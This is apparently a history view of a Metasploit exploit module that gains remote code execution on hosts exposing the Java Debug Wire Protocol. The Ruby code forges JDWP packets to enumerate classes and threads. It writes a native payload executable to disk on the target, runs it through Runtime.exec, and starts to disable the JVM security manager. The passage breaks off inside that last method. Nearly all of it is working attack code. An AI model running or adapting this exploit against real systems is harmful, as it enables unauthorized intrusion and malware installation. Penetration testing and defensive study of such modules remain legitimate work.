metasploit-framework/modules/exploits/multi/misc/java_jdwp_debugger.rb

973 lines
30 KiB
Ruby
Raw Normal View History

2014-05-29 21:45:44 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
2014-05-29 21:45:44 +00:00
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Exploit::Remote
2014-06-04 17:33:57 +00:00
Rank = GoodRanking
2014-05-29 21:45:44 +00:00
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
HANDSHAKE = "JDWP-Handshake"
REQUEST_PACKET_TYPE = 0x00
REPLY_PACKET_TYPE = 0x80
# Command signatures
VERSION_SIG = [1, 1]
CLASSESBYSIGNATURE_SIG = [1, 2]
ALLCLASSES_SIG = [1, 3]
ALLTHREADS_SIG = [1, 4]
IDSIZES_SIG = [1, 7]
CREATESTRING_SIG = [1, 11]
SUSPENDVM_SIG = [1, 8]
RESUMEVM_SIG = [1, 9]
SIGNATURE_SIG = [2, 1]
FIELDS_SIG = [2, 4]
METHODS_SIG = [2, 5]
GETVALUES_SIG = [2, 6]
CLASSOBJECT_SIG = [2, 11]
SETSTATICVALUES_SIG = [3, 2]
2014-05-29 21:45:44 +00:00
INVOKESTATICMETHOD_SIG = [3, 3]
CREATENEWINSTANCE_SIG = [3, 4]
ARRAYNEWINSTANCE_SIG = [4, 1]
2014-05-29 21:45:44 +00:00
REFERENCETYPE_SIG = [9, 1]
INVOKEMETHOD_SIG = [9, 6]
STRINGVALUE_SIG = [10, 1]
THREADNAME_SIG = [11, 1]
THREADSUSPEND_SIG = [11, 2]
THREADRESUME_SIG = [11, 3]
THREADSTATUS_SIG = [11, 4]
ARRAYSETVALUES_SIG = [13, 3]
2014-05-29 21:45:44 +00:00
EVENTSET_SIG = [15, 1]
EVENTCLEAR_SIG = [15, 2]
EVENTCLEARALL_SIG = [15, 3]
# Other codes
MODKIND_COUNT = 1
MODKIND_THREADONLY = 2
MODKIND_CLASSMATCH = 5
MODKIND_LOCATIONONLY = 7
MODKIND_STEP = 10
2014-05-29 21:45:44 +00:00
EVENT_BREAKPOINT = 2
EVENT_STEP = 1
2014-05-29 21:45:44 +00:00
SUSPEND_EVENTTHREAD = 1
SUSPEND_ALL = 2
NOT_IMPLEMENTED = 99
VM_DEAD = 112
INVOKE_SINGLE_THREADED = 2
TAG_OBJECT = 76
TAG_STRING = 115
TYPE_CLASS = 1
TAG_ARRAY = 91
TAG_VOID = 86
TAG_THREAD = 116
STEP_INTO = 0
STEP_MIN = 0
THREAD_SLEEPING_STATUS = 2
2014-05-29 21:45:44 +00:00
def initialize
super(
2014-06-04 17:33:57 +00:00
'Name' => 'Java Debug Wire Protocol Remote Code Execution',
2014-05-29 21:45:44 +00:00
'Description' => %q{
2014-06-04 17:33:57 +00:00
This module abuses exposed Java Debug Wire Protocol services in order
2014-06-16 18:37:44 +00:00
to execute arbitrary Java code remotely. It just abuses the protocol
2014-06-04 17:33:57 +00:00
features, since no authentication is required if the service is enabled.
2014-05-29 21:45:44 +00:00
},
'Author' => [
2014-06-16 18:37:44 +00:00
'Michael Schierl', # Vulnerability discovery / First exploit seen / Msf module help
2014-06-04 17:33:57 +00:00
'Christophe Alladoum', # JDWP Analysis and Exploit
2014-05-29 21:45:44 +00:00
'Redsadic <julian.vilas[at]gmail.com>' # Metasploit Module
],
'References' =>
[
['OSVDB', '96066'],
2014-06-04 17:33:57 +00:00
['EDB', '27179'],
['URL', 'http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html'],
2014-06-16 18:37:44 +00:00
['URL', 'http://seclists.org/nmap-dev/2010/q1/867'],
2014-06-11 23:55:27 +00:00
['URL', 'https://github.com/schierlm/JavaPayload/blob/master/JavaPayload/src/javapayload/builder/JDWPInjector.java'],
2014-06-04 17:33:57 +00:00
['URL', 'https://svn.nmap.org/nmap/scripts/jdwp-exec.nse'],
['URL', 'http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html']
2014-05-29 21:45:44 +00:00
],
'Platform' => %w{ linux win },
2014-06-04 17:33:57 +00:00
'Arch' => ARCH_X86,
'Payload' =>
{
'Space' => 2048,
'BadChars' => '',
'DisableNops' => true
},
'Targets' =>
2014-05-29 21:45:44 +00:00
[
2014-06-04 17:33:57 +00:00
[ 'Linux x86 (Native Payload)',
2014-05-29 21:45:44 +00:00
{
2014-06-04 17:33:57 +00:00
'Platform' => 'linux'
2014-05-29 21:45:44 +00:00
}
],
2014-06-04 17:33:57 +00:00
[ 'Windows x86 (Native Payload)',
2014-05-29 21:45:44 +00:00
{
2014-06-04 17:33:57 +00:00
'Platform' => 'win'
2014-05-29 21:45:44 +00:00
}
]
],
2014-06-04 17:33:57 +00:00
'DefaultTarget' => 0,
'License' => MSF_LICENSE,
2014-06-16 18:37:44 +00:00
'DisclosureDate' => 'Mar 12 2010'
2014-05-29 21:45:44 +00:00
)
register_options(
[
Opt::RPORT(8000),
OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10]),
2014-06-04 17:33:57 +00:00
OptString.new('TMP_PATH', [ false, 'A directory where we can write files. Ensure there is a trailing slash']),
2014-05-29 21:45:44 +00:00
], self.class)
register_advanced_options(
[
2014-06-04 20:56:14 +00:00
OptInt.new('NUM_RETRIES', [true, 'Number of retries when waiting for event', 10]),
2014-05-29 21:45:44 +00:00
], self.class)
end
def check
connect
2014-06-03 21:13:14 +00:00
res = handshake
2014-05-29 21:45:44 +00:00
disconnect
2014-06-04 17:43:39 +00:00
if res.nil?
2014-05-29 21:45:44 +00:00
return Exploit::CheckCode::Unknown
2014-06-04 17:43:39 +00:00
elsif res == HANDSHAKE
return Exploit::CheckCode::Appears
2014-05-29 21:45:44 +00:00
end
2014-06-04 17:43:39 +00:00
Exploit::CheckCode::Safe
2014-05-29 21:45:44 +00:00
end
2014-06-04 18:48:53 +00:00
def default_timeout
datastore['RESPONSE_TIMEOUT']
end
2014-05-29 21:45:44 +00:00
# Establishes handshake with the server
def handshake
sock.put(HANDSHAKE)
return sock.get_once(-1, datastore['RESPONSE_TIMEOUT'])
2014-05-29 21:45:44 +00:00
end
# Forges packet for JDWP protocol
def create_packet(cmdsig, data="")
flags = 0x00
cmdset, cmd = cmdsig
pktlen = data.length + 11
2014-06-03 21:13:14 +00:00
buf = [pktlen, @my_id, flags, cmdset, cmd]
2014-05-29 21:45:44 +00:00
pkt = buf.pack("NNCCC")
pkt << data
2014-06-03 21:13:14 +00:00
@my_id += 2
2014-06-04 18:24:34 +00:00
pkt
2014-05-29 21:45:44 +00:00
end
# Reads packet response for JDWP protocol
2014-06-04 18:48:53 +00:00
def read_reply(timeout = default_timeout)
length = sock.get_once(4, timeout)
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response length") unless length
pkt_len = length.unpack('N')[0]
if pkt_len < 4
fail_with(Failure::Unknown, "#{peer} - Received corrupted response")
end
pkt_len = pkt_len - 4
response = sock.get_once(pkt_len, timeout)
2014-05-29 21:45:44 +00:00
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless response
while response.length < pkt_len
partial = sock.get_once(pkt_len, timeout)
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless partial
response << partial
end
fail_with(Failure::Unknown, "#{peer} - Received corrupted response") unless response.length == pkt_len
id, flags, err_code = response.unpack('NCn')
response.slice!(0..6)
if err_code != 0 && flags == REPLY_PACKET_TYPE
fail_with(Failure::Unknown, "#{peer} - Server sent error with code #{err_code}")
2014-06-04 19:14:23 +00:00
end
2014-06-04 18:24:34 +00:00
response
2014-05-29 21:45:44 +00:00
end
# Returns the characters contained in the string defined in target VM
def solve_string(data)
sock.put(create_packet(STRINGVALUE_SIG, data))
2014-06-04 18:48:53 +00:00
response = read_reply
2014-05-29 21:45:44 +00:00
return "" unless response
return read_string(response)
end
# Unpacks received string structure from the server response into a normal string
def read_string(data)
data_len = data.unpack('N')[0]
data.slice!(0..3)
return data.slice!(0,data_len)
end
# Creates a new string object in the target VM and returns its id
def create_string(data)
buf = build_string(data)
sock.put(create_packet(CREATESTRING_SIG, buf))
2014-06-04 18:48:53 +00:00
buf = read_reply
2014-05-29 21:45:44 +00:00
return parse_entries(buf, [[@vars['objectid_size'], "obj_id"]], false)
end
2014-05-29 22:14:59 +00:00
# Packs normal string into string structure for target VM
2014-05-29 21:45:44 +00:00
def build_string(data)
ret = [data.length].pack('N')
ret << data
2014-06-04 18:24:34 +00:00
ret
2014-05-29 21:45:44 +00:00
end
# Pack Integer for JDWP protocol
2014-05-29 21:45:44 +00:00
def format(fmt, value)
if fmt == "L" || fmt == 8
return [value].pack('Q>')
elsif fmt == "I" || fmt == 4
return [value].pack('N')
end
fail_with(Failure::Unknown, "Unknown format")
end
# Unpack Integer from JDWP protocol
2014-05-29 21:45:44 +00:00
def unformat(fmt, value)
if fmt == "L" || fmt == 8
return value[0..7].unpack('Q>')[0]
elsif fmt == "I" || fmt == 4
return value[0..3].unpack('N')[0]
end
fail_with(Failure::Unknown, "Unknown format")
end
2014-05-29 22:14:59 +00:00
# Parses given data according to a set of formats
2014-05-29 21:45:44 +00:00
def parse_entries(buf, formats, explicit=true)
entries = []
if explicit
nb_entries = buf.unpack('N')[0]
buf.slice!(0..3)
else
nb_entries = 1
end
nb_entries.times do |var|
2014-05-29 22:14:59 +00:00
2014-06-04 19:14:23 +00:00
if var != 0 && var % 1000 == 0
vprint_status("Parsed #{var} classes of #{nb_entries}")
2014-06-04 19:14:23 +00:00
end
2014-05-29 21:45:44 +00:00
data = {}
2014-06-03 21:13:14 +00:00
formats.each do |fmt,name|
2014-06-04 19:14:23 +00:00
if fmt == "L" || fmt == 8
2014-05-29 21:45:44 +00:00
data[name] = buf.unpack('Q>')[0]
buf.slice!(0..7)
2014-06-04 19:14:23 +00:00
elsif fmt == "I" || fmt == 4
2014-05-29 21:45:44 +00:00
data[name] = buf.unpack('N')[0]
buf.slice!(0..3)
elsif fmt == "S"
data_len = buf.unpack('N')[0]
buf.slice!(0..3)
data[name] = buf.slice!(0,data_len)
elsif fmt == "C"
data[name] = buf.unpack('C')[0]
buf.slice!(0)
elsif fmt == "Z"
t = buf.unpack('C')[0]
buf.slice!(0)
if t == 115
data[name] = solve_string(buf.slice!(0..7))
elsif t == 73
data[name], buf = buf.unpack('NN')
end
else
fail_with(Failure::UnexpectedReply, "Unexpected data when parsing server response")
end
2014-06-03 21:13:14 +00:00
end
2014-05-29 21:45:44 +00:00
entries.append(data)
end
2014-06-04 18:24:34 +00:00
entries
2014-05-29 21:45:44 +00:00
end
# Gets the sizes of variably-sized data types in the target VM
2014-06-04 18:18:59 +00:00
def get_sizes
2014-05-29 22:14:59 +00:00
formats = [
2014-06-04 18:18:59 +00:00
["I", "fieldid_size"],
["I", "methodid_size"],
["I", "objectid_size"],
["I", "referencetypeid_size"],
["I", "frameid_size"]
2014-05-29 21:45:44 +00:00
]
2014-06-04 18:18:59 +00:00
sock.put(create_packet(IDSIZES_SIG))
2014-06-04 18:48:53 +00:00
response = read_reply
2014-05-29 21:45:44 +00:00
entries = parse_entries(response, formats, false)
2014-06-03 21:13:14 +00:00
entries.each { |e| @vars.merge!(e) }
2014-05-29 21:45:44 +00:00
end
# Gets the JDWP version implemented by the target VM
def get_version
2014-05-29 22:14:59 +00:00
formats = [
2014-06-04 18:18:59 +00:00
["S", "descr"],
["I", "jdwp_major"],
["I", "jdwp_minor"],
["S", "vm_version"],
["S", "vm_name"]
2014-05-29 21:45:44 +00:00
]
2014-06-04 18:18:59 +00:00
sock.put(create_packet(VERSION_SIG))
2014-06-04 18:48:53 +00:00
response = read_reply
2014-05-29 21:45:44 +00:00
entries = parse_entries(response, formats, false)
2014-06-03 21:13:14 +00:00
entries.each { |e| @vars.merge!(e) }
2014-05-29 21:45:44 +00:00
end
def version
2014-06-04 18:18:59 +00:00
"#{@vars["vm_name"]} - #{@vars["vm_version"]}"
2014-05-29 21:45:44 +00:00
end
# Returns reference for all threads currently running on target VM
def get_all_threads
sock.put(create_packet(ALLTHREADS_SIG))
response = read_reply
num_threads = response.unpack('N').first
response.slice!(0..3)
size = @vars["objectid_size"]
num_threads.times do
t_id = unformat(size, response[0..size-1])
@threads[t_id] = nil
response.slice!(0..size-1)
end
end
2014-05-29 21:45:44 +00:00
# Returns reference types for all classes currently loaded by the target VM
2014-06-03 21:13:14 +00:00
def get_all_classes
2014-05-29 21:45:44 +00:00
return unless @classes.empty?
2014-05-29 22:14:59 +00:00
formats = [
2014-06-04 19:23:21 +00:00
["C", "reftype_tag"],
[@vars["referencetypeid_size"], "reftype_id"],
["S", "signature"],
["I", "status"]
2014-05-29 21:45:44 +00:00
]
2014-06-04 18:18:59 +00:00
sock.put(create_packet(ALLCLASSES_SIG))
2014-06-04 18:48:53 +00:00
response = read_reply
2014-05-29 21:45:44 +00:00
@classes.append(parse_entries(response, formats))
end
# Checks if specified class is currently loaded by the target VM and returns it
def get_class_by_name(name)
2014-06-03 21:13:14 +00:00
@classes.each do |entry_array|
entry_array.each do |entry|
2014-06-04 18:18:59 +00:00
if entry["signature"].downcase == name.downcase
return entry
end
2014-06-03 21:13:14 +00:00
end
end
2014-05-29 21:45:44 +00:00
nil
end
2014-05-29 22:14:59 +00:00
# Returns information for each method in a reference type (ie. object). Inherited methods are not included.
2014-05-29 21:45:44 +00:00
# The list of methods will include constructors (identified with the name "<init>")
def get_methods(reftype_id)
2014-06-04 18:18:59 +00:00
if @methods.has_key?(reftype_id)
return @methods[reftype_id]
end
2014-05-29 21:45:44 +00:00
2014-06-04 18:18:59 +00:00
formats = [
2014-05-29 22:14:59 +00:00
[@vars["methodid_size"], "method_id"],
["S", "name"],
["S", "signature"],
["I", "mod_bits"]
2014-06-04 18:18:59 +00:00
]
ref_id = format(@vars["referencetypeid_size"],reftype_id)
sock.put(create_packet(METHODS_SIG, ref_id))
2014-06-04 18:48:53 +00:00
response = read_reply
2014-06-04 18:18:59 +00:00
@methods[reftype_id] = parse_entries(response, formats)
2014-05-29 21:45:44 +00:00
end
# Returns information for each field in a reference type (ie. object)
def get_fields(reftype_id)
formats = [
[@vars["fieldid_size"], "field_id"],
["S", "name"],
["S", "signature"],
["I", "mod_bits"]
]
ref_id = format(@vars["referencetypeid_size"],reftype_id)
sock.put(create_packet(FIELDS_SIG, ref_id))
response = read_reply
fields = parse_entries(response, formats)
fields
end
# Returns the value of one static field of the reference type. The field must be member of the reference type
# or one of its superclasses, superinterfaces, or implemented interfaces. Access control is not enforced;
# for example, the values of private fields can be obtained.
def get_value(reftype_id, field_id)
data = format(@vars["referencetypeid_size"],reftype_id)
data << [1].pack('N')
data << format(@vars["fieldid_size"],field_id)
sock.put(create_packet(GETVALUES_SIG, data))
response = read_reply
num_values = response.unpack('N')[0]
unless (num_values == 1) && (response[4].unpack('C')[0] == TAG_OBJECT)
fail_with(Failure::Unknown, "Bad response when getting value for field")
end
response.slice!(0..4)
len = @vars["objectid_size"]
value = unformat(len, response)
value
end
# Sets the value of one static field. Each field must be member of the class type or one of its superclasses,
# superinterfaces, or implemented interfaces. Access control is not enforced; for example, the values of
# private fields can be set. Final fields cannot be set.For primitive values, the value's type must match
# the field's type exactly. For object values, there must exist a widening reference conversion from the
# value's type to the field's type and the field's type must be loaded.
def set_value(reftype_id, field_id, value)
data = format(@vars["referencetypeid_size"],reftype_id)
data << [1].pack('N')
data << format(@vars["fieldid_size"],field_id)
data << format(@vars["objectid_size"],value)
sock.put(create_packet(SETSTATICVALUES_SIG, data))
read_reply
end
2014-05-29 21:45:44 +00:00
# Checks if specified method is currently loaded by the target VM and returns it
def get_method_by_name(classname, name, signature = nil)
2014-06-03 21:13:14 +00:00
@methods[classname].each do |entry|
2014-05-29 21:45:44 +00:00
if signature.nil?
return entry if entry["name"].downcase == name.downcase
else
2014-06-04 19:23:21 +00:00
if entry["name"].downcase == name.downcase && entry["signature"].downcase == signature.downcase
return entry
end
2014-05-29 21:45:44 +00:00
end
2014-06-03 21:13:14 +00:00
end
2014-05-29 21:45:44 +00:00
nil
end
# Checks if specified class and method are currently loaded by the target VM and returns them
def get_class_and_method(looked_class, looked_method, signature = nil)
target_class = get_class_by_name(looked_class)
unless target_class
fail_with(Failure::Unknown, "Class \"#{looked_class}\" not found")
end
2014-05-29 21:45:44 +00:00
get_methods(target_class["reftype_id"])
target_method = get_method_by_name(target_class["reftype_id"], looked_method, signature)
unless target_method
fail_with(Failure::Unknown, "Method \"#{looked_method}\" not found")
end
2014-05-29 21:45:44 +00:00
return target_class, target_method
end
2014-05-29 22:14:59 +00:00
# Transform string contaning class and method(ie. from "java.net.ServerSocket.accept" to "Ljava/net/Serversocket;" and "accept")
def str_to_fq_class(s)
2014-05-29 21:45:44 +00:00
i = s.rindex(".")
unless i
fail_with(Failure::BadConfig, 'Bad defined break class')
end
2014-05-29 21:45:44 +00:00
method = s[i+1..-1] # Subtr of s, from last '.' to the end of the string
classname = 'L'
classname << s[0..i-1].gsub(/[.]/, '/')
classname << ';'
return classname, method
end
# Gets the status of a given thread
def thread_status(thread_id)
sock.put(create_packet(THREADSTATUS_SIG, format(@vars["objectid_size"], thread_id)))
buf = read_reply(datastore['BREAK_TIMEOUT'])
unless buf
2015-04-16 19:44:56 +00:00
fail_with(Failure::Unknown, "No network response")
end
status, suspend_status = buf.unpack('NN')
2014-05-29 21:45:44 +00:00
status
end
# Resumes execution of the application or thread after the suspend command or an event has stopped it
def resume_vm(thread_id = nil)
if thread_id.nil?
sock.put(create_packet(RESUMEVM_SIG))
else
sock.put(create_packet(THREADRESUME_SIG, format(@vars["objectid_size"], thread_id)))
end
response = read_reply(datastore['BREAK_TIMEOUT'])
unless response
2015-04-16 19:44:56 +00:00
fail_with(Failure::Unknown, "No network response")
end
response
end
# Suspend execution of the application or thread
def suspend_vm(thread_id = nil)
if thread_id.nil?
sock.put(create_packet(SUSPENDVM_SIG))
else
sock.put(create_packet(THREADSUSPEND_SIG, format(@vars["objectid_size"], thread_id)))
end
response = read_reply
unless response
2015-04-16 19:44:56 +00:00
fail_with(Failure::Unknown, "No network response")
end
response
2014-05-29 21:45:44 +00:00
end
# Sets an event request. When the event described by this request occurs, an event is sent from the target VM
def send_event(event_code, args)
data = [event_code].pack('C')
2014-06-11 23:55:27 +00:00
data << [SUSPEND_ALL].pack('C')
2014-05-29 21:45:44 +00:00
data << [args.length].pack('N')
2014-06-03 21:13:14 +00:00
args.each do |kind,option|
2014-05-29 21:45:44 +00:00
data << [kind].pack('C')
data << option
2014-06-03 21:13:14 +00:00
end
2014-05-29 21:45:44 +00:00
sock.put(create_packet(EVENTSET_SIG, data))
2014-06-04 18:48:53 +00:00
response = read_reply
unless response
2015-04-16 19:44:56 +00:00
fail_with(Failure::Unknown, "#{peer} - No network response")
end
2014-05-29 21:45:44 +00:00
return response.unpack('N')[0]
end
# Parses a received event and compares it with the expected
2014-06-11 23:55:27 +00:00
def parse_event(buf, event_id, thread_id)
2014-05-29 21:45:44 +00:00
len = @vars["objectid_size"]
return false if buf.length < 10 + len - 1
r_id = buf[6..9].unpack('N')[0]
2014-05-29 21:45:44 +00:00
t_id = unformat(len,buf[10..10+len-1])
2014-05-29 22:14:59 +00:00
return (event_id == r_id) && (thread_id == t_id)
2014-05-29 21:45:44 +00:00
end
# Clear a defined event request
def clear_event(event_code, r_id)
data = [event_code].pack('C')
data << [r_id].pack('N')
sock.put(create_packet(EVENTCLEAR_SIG, data))
2014-06-04 18:48:53 +00:00
read_reply
2014-05-29 21:45:44 +00:00
end
2014-05-29 22:14:59 +00:00
# Invokes a static method. The method must be member of the class type or one of its superclasses,
# superinterfaces, or implemented interfaces. Access control is not enforced; for example, private
# methods can be invoked.
2014-05-29 21:45:44 +00:00
def invoke_static(class_id, thread_id, meth_id, args = [])
data = format(@vars["referencetypeid_size"], class_id)
data << format(@vars["objectid_size"], thread_id)
data << format(@vars["methodid_size"], meth_id)
data << [args.length].pack('N')
2014-06-03 21:13:14 +00:00
args.each do |arg|
2014-05-29 21:45:44 +00:00
data << arg
data << [0].pack('N')
2014-06-03 21:13:14 +00:00
end
2014-05-29 21:45:44 +00:00
sock.put(create_packet(INVOKESTATICMETHOD_SIG, data))
2014-06-04 18:48:53 +00:00
buf = read_reply
2014-06-04 18:18:59 +00:00
buf
2014-05-29 21:45:44 +00:00
end
2014-05-29 22:14:59 +00:00
# Invokes a instance method. The method must be member of the object's type or one of its superclasses,
# superinterfaces, or implemented interfaces. Access control is not enforced; for example, private methods
# can be invoked.
2014-05-29 21:45:44 +00:00
def invoke(obj_id, thread_id, class_id, meth_id, args = [])
data = format(@vars["objectid_size"], obj_id)
data << format(@vars["objectid_size"], thread_id)
data << format(@vars["referencetypeid_size"], class_id)
data << format(@vars["methodid_size"], meth_id)
data << [args.length].pack('N')
2014-06-03 21:13:14 +00:00
args.each do |arg|
2014-05-29 21:45:44 +00:00
data << arg
data << [0].pack('N')
2014-06-03 21:13:14 +00:00
end
2014-05-29 21:45:44 +00:00
sock.put(create_packet(INVOKEMETHOD_SIG, data))
2014-06-04 18:48:53 +00:00
buf = read_reply
2014-06-04 18:18:59 +00:00
buf
2014-05-29 21:45:44 +00:00
end
# Creates a new object of specified class, invoking the specified constructor. The constructor
# method ID must be a member of the class type.
2014-05-29 21:45:44 +00:00
def create_instance(class_id, thread_id, meth_id, args = [])
data = format(@vars["referencetypeid_size"], class_id)
data << format(@vars["objectid_size"], thread_id)
data << format(@vars["methodid_size"], meth_id)
data << [args.length].pack('N')
2014-06-03 21:13:14 +00:00
args.each do |arg|
2014-05-29 21:45:44 +00:00
data << arg
data << [0].pack('N')
2014-06-03 21:13:14 +00:00
end
2014-05-29 21:45:44 +00:00
sock.put(create_packet(CREATENEWINSTANCE_SIG, data))
2014-06-04 18:48:53 +00:00
buf = read_reply
2014-06-04 18:18:59 +00:00
buf
2014-05-29 21:45:44 +00:00
end
# Creates a byte[]
def create_array(len)
target_class = get_class_by_name("[B")
fail_with(Failure::Unknown, "target_class is nil") if target_class.nil?
type_id = target_class["reftype_id"]
fail_with(Failure::Unknown, "type_id is nil") if type_id.nil?
data = format(@vars["referencetypeid_size"], type_id)
data << [len].pack('N')
sock.put(create_packet(ARRAYNEWINSTANCE_SIG, data))
buf = read_reply
buf
end
# Initializes the byte[] with values
def set_values(obj_id, args = [])
data = format(@vars["objectid_size"], obj_id)
data << [0].pack('N')
data << [args.length].pack('N')
args.each do |arg|
data << [arg].pack('C')
end
sock.put(create_packet(ARRAYSETVALUES_SIG, data))
read_reply
end
2014-05-29 21:45:44 +00:00
def temp_path
return nil unless datastore['TMP_PATH']
unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\')
fail_with(Failure::BadConfig, 'You need to add a trailing slash/backslash to TMP_PATH')
end
datastore['TMP_PATH']
end
# Configures payload according to targeted architecture
def setup_payload
# 1. Setting up generic values.
payload_exe = rand_text_alphanumeric(4 + rand(4))
pl_exe = generate_payload_exe
2014-05-29 22:14:59 +00:00
2014-05-29 21:45:44 +00:00
# 2. Setting up arch specific...
case target['Platform']
when 'linux'
path = temp_path || '/tmp/'
payload_exe = "#{path}#{payload_exe}"
if @os.downcase =~ /win/
print_warning("#{@os} system detected but using Linux target...")
end
when 'win'
2014-05-29 21:45:44 +00:00
path = temp_path || './'
payload_exe = "#{path}#{payload_exe}.exe"
unless @os.downcase =~ /win/
print_warning("#{@os} system detected but using Windows target...")
end
2014-05-29 21:45:44 +00:00
end
return payload_exe, pl_exe
end
# Invokes java.lang.System.getProperty() for OS fingerprinting purposes
def fingerprint_os(thread_id)
size = @vars["objectid_size"]
# 1. Creates a string on target VM with the property to be getted
cmd_obj_ids = create_string("os.name")
fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") if cmd_obj_ids.length == 0
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
# 2. Gets property
data = [TAG_OBJECT].pack('C')
data << format(size, cmd_obj_id)
data_array = [data]
runtime_class , runtime_meth = get_class_and_method("Ljava/lang/System;", "getProperty")
buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array)
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected String") unless buf[0] == [TAG_STRING].pack('C')
str = unformat(size, buf[1..1+size-1])
@os = solve_string(format(@vars["objectid_size"],str))
end
# Creates a file on the server given a execution thread
def create_file(thread_id, filename)
cmd_obj_ids = create_string(filename)
fail_with(Failure::Unknown, "Failed to allocate string for filename") if cmd_obj_ids.length == 0
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
size = @vars["objectid_size"]
data = [TAG_OBJECT].pack('C')
data << format(size, cmd_obj_id)
data_array = [data]
runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "<init>", "(Ljava/lang/String;)V")
buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array)
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C')
file = unformat(size, buf[1..1+size-1])
fail_with(Failure::Unknown, "Failed to create file. Try to change the TMP_PATH") if file.nil? || (file == 0)
register_files_for_cleanup(filename)
2014-06-04 18:18:59 +00:00
file
2014-05-29 21:45:44 +00:00
end
# Stores the payload on a new string created in target VM
def upload_payload(thread_id, pl_exe)
size = @vars["objectid_size"]
2014-06-07 20:43:14 +00:00
buf = create_array(pl_exe.length)
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Array") unless buf[0] == [TAG_ARRAY].pack('C')
2014-05-29 21:45:44 +00:00
pl = unformat(size, buf[1..1+size-1])
fail_with(Failure::Unknown, "Failed to create byte array to store payload") if pl.nil? || (pl == 0)
set_values(pl, pl_exe.bytes)
2014-06-04 18:18:59 +00:00
pl
2014-05-29 21:45:44 +00:00
end
# Dumps the payload on a opened server file given a execution thread
def dump_payload(thread_id, file, pl)
size = @vars["objectid_size"]
data = [TAG_OBJECT].pack('C')
data << format(size, pl)
data_array = [data]
runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "write", "([B)V")
buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array)
2014-06-04 19:23:21 +00:00
unless buf[0] == [TAG_VOID].pack('C')
fail_with(Failure::Unknown, "Exception while writing to file")
end
2014-05-29 21:45:44 +00:00
end
# Closes a file on the server given a execution thread
def close_file(thread_id, file)
runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "close")
buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"])
2014-06-04 19:23:21 +00:00
unless buf[0] == [TAG_VOID].pack('C')
fail_with(Failure::Unknown, "Exception while closing file")
end
2014-05-29 21:45:44 +00:00
end
# Executes a system command on target VM making use of java.lang.Runtime.exec()
def execute_command(thread_id, cmd)
size = @vars["objectid_size"]
# 1. Creates a string on target VM with the command to be executed
cmd_obj_ids = create_string(cmd)
2014-06-04 19:23:21 +00:00
if cmd_obj_ids.length == 0
fail_with(Failure::Unknown, "Failed to allocate string for payload dumping")
end
2014-05-29 21:45:44 +00:00
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
# 2. Gets Runtime context
runtime_class , runtime_meth = get_class_and_method("Ljava/lang/Runtime;", "getRuntime")
buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
2014-06-04 19:23:21 +00:00
unless buf[0] == [TAG_OBJECT].pack('C')
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")
end
2014-05-29 21:45:44 +00:00
rt = unformat(size, buf[1..1+size-1])
2014-06-04 19:23:21 +00:00
if rt.nil? || (rt == 0)
fail_with(Failure::Unknown, "Failed to invoke Runtime.getRuntime()")
end
2014-05-29 21:45:44 +00:00
# 3. Finds and executes "exec" method supplying the string with the command
exec_meth = get_method_by_name(runtime_class["reftype_id"], "exec")
2014-06-04 19:23:21 +00:00
if exec_meth.nil?
fail_with(Failure::BadConfig, "Cannot find method Runtime.exec()")
end
2014-05-29 21:45:44 +00:00
data = [TAG_OBJECT].pack('C')
data << format(size, cmd_obj_id)
data_array = [data]
buf = invoke(rt, thread_id, runtime_class["reftype_id"], exec_meth["method_id"], data_array)
2014-06-04 19:23:21 +00:00
unless buf[0] == [TAG_OBJECT].pack('C')
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")
end
2014-05-29 21:45:44 +00:00
end
# Set event for stepping into a running thread
def set_step_event
# 1. Select a thread in sleeping status
t_id = nil
@threads.each_key do |thread|
if thread_status(thread) == THREAD_SLEEPING_STATUS
t_id = thread
break
end
2014-06-04 19:23:21 +00:00
end
fail_with(Failure::Unknown, "Could not find a suitable thread for stepping") if t_id.nil?
2014-05-29 21:45:44 +00:00
2014-06-11 23:55:27 +00:00
# 2. Suspend the VM before setting the event
suspend_vm
2014-05-29 21:45:44 +00:00
vprint_status("Setting 'step into' event in thread: #{t_id}")
step_info = format(@vars["objectid_size"], t_id)
step_info << [STEP_MIN].pack('N')
step_info << [STEP_INTO].pack('N')
data = [[MODKIND_STEP, step_info]]
2014-05-29 21:45:44 +00:00
r_id = send_event(EVENT_STEP, data)
2014-06-04 19:23:21 +00:00
unless r_id
fail_with(Failure::Unknown, "Could not set the event")
2014-06-04 19:23:21 +00:00
end
2014-05-29 21:45:44 +00:00
return r_id, t_id
2014-05-29 21:45:44 +00:00
end
# Disables security manager if it's set on target JVM
def disable_sec_manager
sys_class = get_class_by_name("Ljava/lang/System;")
fields = get_fields(sys_class["reftype_id"])
sec_field = nil
fields.each do |field|
sec_field = field["field_id"] if field["name"].downcase == "security"
end
